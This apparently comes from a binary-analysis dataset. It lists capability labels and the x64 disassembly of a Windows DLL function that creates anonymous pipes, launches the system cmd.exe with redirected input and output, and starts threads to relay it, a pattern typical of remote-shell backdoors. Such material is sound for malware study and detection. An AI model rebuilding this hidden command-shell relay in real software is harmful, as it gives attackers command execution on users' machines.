Function at 0x10008520
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create two anonymous pipes
Execute shell command and capture output
Get common file path

Disassembly:
mov r11, rsp
sub rsp, 0x258
mov qword [rsp + 0x90], 0xfffffffffffffffe
mov qword [r11 + 0x18], rbx
mov qword [r11 + 0x20], rbp
mov qword [r11 - 8], rsi
mov qword [r11 - 0x10], rdi
mov qword [r11 - 0x18], r12
mov qword [r11 - 0x20], r13
mov qword [r11 - 0x28], r14
mov rax, qword [0x1001b2a8]
mov qword [rsp + 0x220], rax
mov rbx, rcx
mov qword [r11 - 0x1d0], rcx
call fcn.10005b80
nop
lea rax, [0x10013d30]
mov qword [rbx], rax
xor eax, eax
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], rax
xor r14d, r14d
mov dword [rsp + 0xa0], r14d
xor edx, edx
lea r8d, [rax + 0x60]
lea rcx, [rsp + 0xa8]
call sub.msvcrt.dll_memset
mov qword [rsp + 0x58], r14
xor eax, eax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
mov byte [rsp + 0x110], al
xor edx, edx
mov r8d, 0x103
lea rcx, [rsp + 0x111]
call sub.msvcrt.dll_memset
mov qword [rbx + 0x20], r14
mov qword [rbx + 0x28], r14
mov qword [rbx + 0x30], r14
mov qword [rbx + 0x38], r14
mov dword [rsp + 0x70], 0x18
mov qword [rsp + 0x78], r14
mov dword [rsp + 0x80], 1
xor r9d, r9d
lea r8, [rsp + 0x70]
lea rdx, [rbx + 0x38]
lea rcx, [rbx + 0x20]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x1000863e
mov rcx, qword [rbx + 0x20]
test rcx, rcx
je 0x10008626
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x38]
test rcx, rcx
je 0x1000881e
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1000881e
xor r9d, r9d
lea r8, [rsp + 0x70]
lea rdx, [rbx + 0x28]
lea rcx, [rbx + 0x30]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x1000867f
mov rcx, qword [rbx + 0x28]
test rcx, rcx
je 0x10008667
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x1000881e
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1000881e
xor edx, edx
lea r8d, [rdx + 0x68]
lea rcx, [rsp + 0xa0]
call sub.msvcrt.dll_memset
xor edx, edx
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], rdx
mov qword [rsp + 0x68], rdx
lea rcx, [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov dword [rsp + 0xa0], 0x68
mov word [rsp + 0xe0], r14w
mov dword [rsp + 0xdc], 0x101
mov rax, qword [rbx + 0x30]
mov qword [rsp + 0xf0], rax
mov rax, qword [rbx + 0x38]
mov qword [rsp + 0x100], rax
mov qword [rsp + 0xf8], rax
mov edx, 0x104
lea rcx, [rsp + 0x110]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea rdi, [rsp + 0x110]
xor eax, eax
mov rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
mov rax, qword [str.cmd.exe]
mov qword [rdi - 1], rax
movzx eax, byte [0x10013d68]
mov byte [rdi + 7], al
lea rax, [rsp + 0x58]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x110]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x100087a0
mov rcx, qword [rbx + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1000881e
mov rax, qword [rsp + 0x58]
mov qword [rbx + 0x40], rax
mov rax, qword [rsp + 0x60]
mov qword [rbx + 0x48], rax
mov byte [rsp + 0x50], 0x80
mov r8d, 1
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.10005c00
mov rcx, rbx
call fcn.10005c50
mov byte [rsp + 0x30], r14b
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
mov r9, rbx
lea r8, [0x100083c0]
xor edx, edx
xor ecx, ecx
call fcn.1000a5c0
mov qword [rbx + 0x50], rax
mov byte [rsp + 0x30], r14b
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
mov r9, rbx
lea r8, [0x100084c0]
xor edx, edx
xor ecx, ecx
call fcn.1000a5c0
mov qword [rbx + 0x58], rax
mov rax, rbx
mov rcx, qword [rsp + 0x220]
call fcn.100120f0
mov rbx, qword [rsp + 0x270]
mov rbp, qword [rsp + 0x278]
mov rsi, qword [rsp + 0x250]
mov rdi, qword [rsp + 0x248]
mov r12, qword [rsp + 0x240]
mov r13, qword [rsp + 0x238]
mov r14, qword [rsp + 0x230]
add rsp, 0x258
ret